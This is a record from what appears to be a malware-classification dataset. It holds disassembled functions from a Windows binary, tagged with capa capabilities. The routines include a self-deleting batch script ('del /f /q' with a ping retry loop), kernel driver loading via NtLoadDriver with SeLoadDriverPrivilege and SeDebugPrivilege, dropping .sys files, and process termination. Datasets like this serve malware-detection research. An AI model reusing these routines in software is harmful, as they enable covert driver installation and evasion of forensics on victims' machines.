joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008840
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push r12
sub rsp, 0x180
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor eax, eax
mov rbx, rcx
mov r12d, edx
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x48], 0
mov qword [rsp + 0x49], rax
mov dword [rsp + 0x51], eax
mov word [rsp + 0x55], ax
mov byte [rsp + 0x57], al
mov byte [rsp + 0x60], al
call fcn.1400167a0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1400170d0
call fcn.1400170e8
mov r8d, reloc.WS2_32.dll_recv
mov ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
lea rdx, [rsp + 0x48]
sub ecx, eax
add ecx, 5
call fcn.1400058a0
mov edx, 0x1000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbp, rax
test rax, rax
jne 0x1400088ef
lea eax, [rbp + 8]
jmp 0x140008af3
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
mov qword [rsp + 0x1b0], rsi
mov qword [rsp + 0x1b8], rdi
call fcn.1400167a0
mov r8d, 0x104
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x200]
call fcn.140009e70
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x200]
call fcn.140009e30
xor r11d, r11d
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x41], r11d
lea rcx, [rbp + 0x200]
mov word [rsp + 0x45], r11w
mov dword [rsp + 0x40], 0x7461622e
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x47], r11b
call fcn.140009e30
lea rdx, str._echo_off_r_n
lea rcx, [rbp + 0x400]
call fcn.140009e70
lea rcx, [rbp + 0x400]
call fcn.14000a040
mov r8d, 1
test r12d, r12d
lea rbx, [rbp + rax + 0x400]
lea rdx, str.set_cnt_u_r_n
cmovne r8d, r12d
mov rcx, rbx
call fcn.140016e00
mov rcx, rbx
call fcn.14000a040
lea rdx, str.set_num0_r_n:r1_r_nset__a_num_num_1_r_n
add rbx, rax
mov rcx, rbx
call fcn.140009e70
mov rcx, rbx
call fcn.14000a040
lea rdx, str.del__f__q___s__r_n
mov r8, rbp
add rbx, rax
mov rcx, rbx
call fcn.140016e00
mov rcx, rbx
call fcn.14000a040
lea rdx, str.if__cnt__num__goto_e1_r_nping__n_2_127.1_nul_r_n
add rbx, rax
mov rcx, rbx
call fcn.140009e70
mov rcx, rbx
call fcn.14000a040
lea rdx, str.if_exist___s__goto_r1_r_n
mov r8, rbp
add rbx, rax
mov rcx, rbx
call fcn.140016e00
mov rcx, rbx
call fcn.14000a040
lea r8, [rbp + 0x200]
lea rdx, str.:e1_r_ndel__f__q___s__r_n
add rbx, rax
mov rcx, rbx
call fcn.140016e00
mov rcx, rbx
call fcn.14000a040
lea rcx, [rbp + 0x400]
call fcn.14000a040
xor r9d, r9d
lea rdx, [rbp + 0x400]
mov r8, rax
lea rcx, [rbp + 0x200]
call fcn.140005b90
lea r8, [rbp + 0x200]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x400]
mov dword [rsp + 0x40], 0x22732522
mov byte [rsp + 0x44], 0
call fcn.140016e00
mov qword [rsp + 0x30], 0
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x400]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call fcn.1400067a0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rdi, qword [rsp + 0x1b8]
mov rsi, qword [rsp + 0x1b0]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400168a0
add rsp, 0x180
pop r12
pop rbp
pop rbx
ret
Function at 0x140009950
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
push r13
push r14
sub rsp, 0x170
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r14, rcx
mov r13, rdx
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call fcn.1400167a0
xor r11d, r11d
xor eax, eax
lea rcx, str.ntdll.dll
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
jne 0x1400099c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x140009b0a
lea rdx, str.NtLoadDriver
mov rcx, rax
mov qword [rsp + 0x168], rdi
call fcn.140003b70
mov rdi, rax
test rax, rax
jne 0x1400099f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x140009b02
lea rdx, str.RtlAnsiStringToUnicodeString
mov rcx, rbx
mov qword [rsp + 0x1a0], rbp
call fcn.140003b70
mov rbp, rax
test rax, rax
jne 0x140009a1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x140009afa
lea rdx, str.RtlInitAnsiString
mov rcx, rbx
mov qword [rsp + 0x160], r12
call fcn.140003b70
mov r12, rax
test rax, rax
jne 0x140009a4b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x140009af2
lea rdx, str.RtlFreeUnicodeString
mov rcx, rbx
mov qword [rsp + 0x1a8], rsi
call fcn.140003b70
mov rsi, rax
test rax, rax
jne 0x140009a74
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x140009aea
mov rdx, r13
mov rcx, r14
call fcn.140008220
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_s
lea rcx, [rsp + 0x40]
mov r8, r13
call fcn.140016e00
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call r12
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov r8b, 1
call rbp
mov ebx, eax
test eax, eax
jne 0x140009aea
lea rcx, str.SeLoadDriverPrivilege
call fcn.140009790
lea rcx, [rsp + 0x20]
call rdi
mov ebx, eax
test eax, eax
je 0x140009ae3
lea rcx, str.SeDebugPrivilege
call fcn.140009790
lea rcx, [rsp + 0x20]
call rdi
mov ebx, eax
lea rcx, [rsp + 0x20]
call rsi
mov rsi, qword [rsp + 0x1a8]
mov r12, qword [rsp + 0x160]
mov rbp, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x168]
mov rdx, r13
mov rcx, r14
call fcn.140008320
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400168a0
add rsp, 0x170
pop r14
pop r13
pop rbx
ret
Function at 0x14000aee0
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbp, rcx
lea rcx, str.SeDebugPrivilege
mov rbx, rdx
xor edi, edi
call fcn.140009790
lea ecx, [rdi + 2]
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000af30
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000af99
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x14000af51
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000af90
lea rcx, [rsp + 0x4c]
mov rdx, rbp
call fcn.14000a6b0
test al, al
jne 0x14000af8b
test rbx, rbx
je 0x14000af78
lea rcx, [rsp + 0x4c]
mov rdx, rbx
call fcn.14000a6b0
test al, al
jne 0x14000af8b
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000af51
jmp 0x14000af90
mov edi, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400168a0
mov rbx, qword [rsp + 0x190]
add rsp, 0x160
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000b310
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r8d, ecx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 1]
call fcn.1400048d4
mov rdi, rax
test rax, rax
jne 0x14000b342
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x14000b359
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b380
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbp, rcx
mov rsi, rdx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x12c
mov edi, 2
mov dword [rsp + 0x20], 0
call fcn.1400167a0
test rsi, rsi
je 0x14000b3d1
mov dword [rsi], 0
xor edx, edx
mov ecx, edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000b3eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000b44c
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x14000b410
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000b441
lea rdx, [rsp + 0x4c]
mov rcx, rbp
call fcn.140017d88
test eax, eax
je 0x14000b434
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000b410
jmp 0x14000b441
xor edi, edi
test rsi, rsi
je 0x14000b441
mov eax, dword [rsp + 0x28]
mov dword [rsi], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400168a0
mov rbx, qword [rsp + 0x190]
add rsp, 0x160
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000c310
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 8
mov r11d, r8d
mov r10, rdx
mov r9d, ecx
test rdx, rdx
jne 0x14000c329
xor eax, eax
add rsp, 8
ret
mov qword [rsp], rdi
not r9d
lea rdi, [0x140027010]
cmp r11d, 8
jb 0x14000c422
mov qword [rsp + 0x10], rbx
mov rbx, r11
shr rbx, 3
nop dword [rax]
movzx ecx, byte [r10]
mov eax, r9d
shr r9d, 8
xor rcx, rax
add r10, 8
add r11d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r10 - 7]
mov edx, dword [rdi + rax*4]
xor edx, r9d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 6]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 5]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 4]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 3]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 2]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 1]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov r9d, dword [rdi + rax*4]
xor r9d, edx
sub rbx, 1
jne 0x14000c350
mov rbx, qword [rsp + 0x10]
test r11d, r11d
je 0x14000c450
nop word [rax + rax]
movzx ecx, byte [r10]
mov eax, r9d
inc r10
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
add r11d, 0xffffffff
jne 0x14000c430
mov rdi, qword [rsp]
not r9d
mov eax, r9d
add rsp, 8
ret

Function at 0x14000c460
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx]
movsx rax, dl
mov r10, rcx
mov r8, r9
shr r9d, 8
xor r8, rax
movzx eax, r8b
lea r8, [0x140027010]
mov edx, dword [r8 + rax*4]
xor edx, r9d
mov dword [rcx], edx
movzx eax, dl
mov edx, dword [rcx + 8]
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
movzx eax, byte [r10 + 7]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
mov dword [r10 + 8], eax
ret
Function at 0x14000fb70
Capabilities:
Check if file exists
Create directory

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r12d, dword [rsp + 0xb0]
xor eax, eax
mov r14d, r9d
mov rbx, rdx
mov r13, rcx
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x31], rax
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
xor ebp, ebp
mov r15d, r8d
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400167a0
test r14d, r14d
je 0x14000fc13
call fcn.1400170e8
xor r9d, r9d
mov dword [rsp + 0x20], 1
mov ecx, eax
mov eax, 0x2aaaaaab
lea r8d, [r9 + 2]
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 4
sub ecx, eax
lea edx, [rcx + 8]
mov rcx, rbx
call fcn.140007e60
jmp 0x14000fc94
lea rcx, [r13 + 0x544]
mov rdx, rbx
mov dword [rsp + 0x30], 0x76697244
sub rdx, rcx
mov dword [rsp + 0x34], 0x737265
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x14000fc30
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
movzx eax, word [0x140025640]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000fc70
call fcn.140005340
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.140005490
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
je 0x14000fcc3
cmp byte [rbx + rcx - 1], 0x5c
je 0x14000fcc3
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x140025640]
mov word [rdi - 1], ax
lea rcx, [r13 + 0x74c]
mov edx, 0x20
call fcn.14000fac0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [r13 + rcx + 0x74c]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000fcf0
test r12d, r12d
je 0x14000fd30
call fcn.1400170e8
mov r8d, reloc.WS2_32.dll_recv
cdq
and eax, 1
xor eax, edx
sub eax, edx
lea rdx, [rsp + 0x30]
lea ecx, [rax + 2]
call fcn.1400058a0
mov byte [rsp + 0x30], 0x2e
jmp 0x14000fd3d
mov dword [rsp + 0x30], 0x7379732e
mov byte [rsp + 0x34], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
xor edx, edx
lea r8, [rsp + 0x30]
nop
movzx ecx, byte [r8 + rdx]
inc rdx
mov byte [rdi + rdx - 2], cl
test cl, cl
jne 0x14000fd50
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14000fd78
inc ebp
cmp ebp, 0xa
jl 0x14000fbc2
mov eax, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400168a0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000fdb0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x150
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
mov rsi, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.1400167a0
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 0x20]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x14000febc
lea rcx, [rbx + 0x74c]
mov edx, 0x20
mov qword [rsp + 0x170], rdi
call fcn.14000fac0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
xor ecx, ecx
nop
movzx eax, byte [rbx + rcx + 0x74c]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000fe30
mov byte [rsp + 0x20], al
xor eax, eax
mov qword [rsp + 0x21], rax
mov dword [rsp + 0x29], eax
mov word [rsp + 0x2d], ax
mov byte [rsp + 0x2f], al
call fcn.1400170e8
mov r8d, reloc.WS2_32.dll_recv
cdq
and eax, 1
xor eax, edx
sub eax, edx
lea rdx, [rsp + 0x20]
lea ecx, [rax + 2]
call fcn.1400058a0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
mov dword [rsp + 0x20], 0x7379732e
mov byte [rsp + 0x24], 0
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000fea0
mov rdi, qword [rsp + 0x170]
mov eax, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400168a0
mov rbx, qword [rsp + 0x178]
add rsp, 0x150
pop rsi
ret
Function at 0x140010ca0
Capabilities:
Enumerate files on windows

Disassembly:
mov r11, rsp
push rdi
push r12
sub rsp, 0x168
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 - 0x18], rbp
mov qword [r11 - 0x20], rsi
mov qword [r11 - 0x28], r13
mov rbx, rcx
mov qword [r11 - 0x30], r14
mov qword [r11 - 0x38], r15
mov r15, rdx
xor r12d, r12d
lea rcx, [rsp + 0x21]
mov esi, r12d
mov r8d, 0x103
xor edx, edx
mov byte [rsp + 0x20], sil
call fcn.1400167a0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1400170d0
mov ecx, 0x6590
call fcn.140005330
mov ecx, 0x140
mov rbp, rax
call fcn.14001718c
mov rdi, rax
test rax, rax
je 0x140010e2a
test rbp, rbp
je 0x140010e2a
xor edx, edx
mov r8d, 0x6590
mov rcx, rbp
call fcn.1400167a0
xor edx, edx
mov r8d, 0x140
mov rcx, rdi
call fcn.1400167a0
lea r14, [rbx + 0x544]
lea rdx, str._sDrivers.sys
lea rcx, [rsp + 0x20]
mov r8, r14
call fcn.140016e00
lea rcx, [rsp + 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x140010d93
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
jmp 0x140010e30
mov ebx, r12d
test byte [rdi], 0x10
jne 0x140010dfe
lea r9, [rdi + 0x2c]
lea rdx, str._sDrivers_s
lea rcx, [rsp + 0x20]
mov r8, r14
call fcn.140016e00
lea rdx, str.Microsoft_Windows
lea rcx, [rsp + 0x20]
call fcn.1400090f0
test eax, eax
je 0x140010dfe
lea rdx, [rsp + 0x20]
mov eax, ebx
lea rcx, [rsp + 0x20]
sub rax, rdx
lea rdx, [rax + rbp]
nop dword [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x140010de0
add ebx, 0x104
inc esi
cmp ebx, 0x6590
jae 0x140010e0e
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140010d96
call fcn.1400170e8
xor edx, edx
mov rcx, r15
div esi
imul edx, edx, 0x104
add rdx, rbp
call fcn.140009e70
jmp 0x140010e30
mov r12d, 8
mov r15, qword [rsp + 0x140]
mov r14, qword [rsp + 0x148]
mov r13, qword [rsp + 0x150]
mov rsi, qword [rsp + 0x158]
mov rbx, qword [rsp + 0x190]
test rbp, rbp
je 0x140010e65
mov rcx, rbp
call fcn.1400170c8
mov rbp, qword [rsp + 0x160]
test rdi, rdi
je 0x140010e7a
mov rcx, rdi
call fcn.140017114
mov eax, r12d
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400168a0
add rsp, 0x168
pop r12
pop rdi
ret
Function at 0x140010ea0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbp, rcx
mov rsi, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.1400167a0
mov dword [rsp + 0x20], 0x1a
mov dword [rsp + 0x24], 0x35
mov dword [rsp + 0x28], 0x36
mov dword [rsp + 0x2c], 0x22
xor ebx, ebx
lea rdi, [rsp + 0x20]
nop word [rax + rax]
mov r8d, dword [rdi]
lea rdx, [rsp + 0x30]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x140010f5b
call fcn.1400170e8
lea rcx, [rsp + 0x30]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
mov rdx, rsi
sub r8d, eax
add r8d, 2
call fcn.140007950
test eax, eax
jne 0x140010f8b
inc ebx
add rdi, 4
cmp ebx, 4
jb 0x140010f10
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400168a0
mov rbx, qword [rsp + 0x180]
add rsp, 0x150
pop rdi
pop rsi
pop rbp
ret
mov edx, 0x5c
mov rcx, rsi
call fcn.140017b30
test rax, rax
je 0x140010fd1
lea rcx, [rbp + 0x74c]
lea rdx, [rax + 1]
mov r8, rcx
sub r8, rdx
nop
movzx eax, byte [rdx]
inc rdx
mov byte [r8 + rdx - 1], al
test al, al
jne 0x140010fb0
mov edx, 0x2e
call fcn.140017b30
test rax, rax
je 0x140010fd1
mov byte [rax], 0
mov eax, 1
jmp 0x140010f68
Function at 0x140011980
Capabilities:
Contain obfuscated stackstrings
Delete file
Set file attributes

Disassembly:
push rbx
push rbp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rdi, rcx
mov r12d, r8d
mov rbp, rdx
lea rcx, [rsp + 0x91]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x90], 0
call fcn.1400167a0
xor r13d, r13d
lea ebx, [r13 + 2]
mov qword [rsp + 0x208], rsi
nop word [rax + rax]
lea rcx, [rsp + 0x30]
lea rdx, [rdi + 0xc0]
mov r8d, 0x60
call fcn.140016910
mov edx, 0x60
lea rcx, [rsp + 0x30]
mov r8d, edx
call fcn.140002ab8
mov eax, 0x79
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x90]
lea rdx, [rdi + 0x33c]
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x90], 0x61636f4c
mov dword [rsp + 0x94], 0x6365536c
mov dword [rsp + 0x98], 0x74697275
mov word [rsp + 0x9c], ax
mov dword [rsp + 0x20], 0x60
call fcn.140005ef0
xor r9d, r9d
mov r8d, r12d
mov rdx, rbp
mov rcx, rdi
call fcn.140011850
test eax, eax
jne 0x140011aa7
lea rdx, [rdi + 0x74c]
lea rcx, [rdi + 0x974]
call fcn.140009950
mov esi, eax
test eax, eax
jne 0x140011aa7
mov edx, ebx
mov rcx, rdi
call fcn.14000ffd0
test eax, eax
jne 0x140011b86
call fcn.140005340
lea rcx, [rdi + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rdi + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.140005490
mov r9d, 1
mov r8d, r12d
mov rdx, rbp
mov rcx, rdi
call fcn.140011850
test eax, eax
jne 0x140011b13
lea r9, [rdi + 0x74c]
lea r8, [rdi + 0x870]
mov edx, r12d
mov rcx, rbp
call fcn.140010c90
mov esi, eax
test eax, eax
jne 0x140011b13
lea edx, [rax + 2]
mov rcx, rdi
call fcn.14000ffd0
test eax, eax
jne 0x140011b86
call fcn.140005340
lea rcx, [rdi + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rdi + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.140005490
mov r9d, 2
mov r8d, r12d
mov rdx, rbp
mov rcx, rdi
call fcn.140011850
mov esi, eax
test eax, eax
jne 0x140011b86
lea r9, [rdi + 0x74c]
lea r8, [rdi + 0x870]
mov edx, r12d
mov rcx, rbp
call fcn.140010c90
mov esi, eax
test eax, eax
jne 0x140011b86
mov ebx, 2
mov rcx, rdi
mov edx, ebx
call fcn.14000ffd0
test eax, eax
cmove esi, ebx
mov edx, 5
mov rcx, rdi
call fcn.14000ffd0
test eax, eax
jne 0x140011bcf
call fcn.140005340
lea rcx, [rdi + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rdi + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.140005490
inc r13d
mov ebx, 2
cmp r13d, 3
jae 0x1400119e0
mov eax, esi
mov rsi, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.1400168a0
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rbp
pop rbx
ret
Function at 0x140013350
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x280
mov rax, qword [0x14014dd80]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor eax, eax
mov rdi, rcx
mov rsi, r8
mov r12d, edx
xor ebx, ebx
lea rcx, [rsp + 0x51]
mov r8d, 0x103
xor edx, edx
mov ebp, r9d
mov dword [rsp + 0x30], ebx
mov byte [rsp + 0x38], bl
mov qword [rsp + 0x39], rax
mov dword [rsp + 0x41], eax
mov word [rsp + 0x45], ax
mov byte [rsp + 0x47], al
mov byte [rsp + 0x50], al
call fcn.1400167a0
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x104
call fcn.1400167a0
lea rcx, [rsp + 0x160]
mov edx, 0x103
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test r12d, r12d
jne 0x140013478
lea r8d, [rbx + 0x10]
lea rdx, [rsp + 0x38]
lea ecx, [rbx + 7]
call fcn.1400058a0
lea r8, [rdi + 0x80]
lea r9, [rsp + 0x38]
lea rdx, str._s_s.dll
lea rcx, [rsp + 0x50]
call fcn.140016e00
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call fcn.140005b90
mov dword [rsp + 0x30], eax
test eax, eax
jne 0x1400134d7
mov edx, 1
lea rcx, [rsp + 0x50]
mov r8d, edx
call fcn.140001814
lea rcx, [rdi + 0x28]
lea r8, [rsp + 0x38]
lea rdx, str._s.dll
call fcn.140016e00
lea edx, [rbx + 1]
mov rcx, rdi
call fcn.140001998
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400134d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400134d7
cmp r12d, 1
jne 0x1400134d3
mov rdx, rbp
sub rdx, 4
je 0x1400134aa
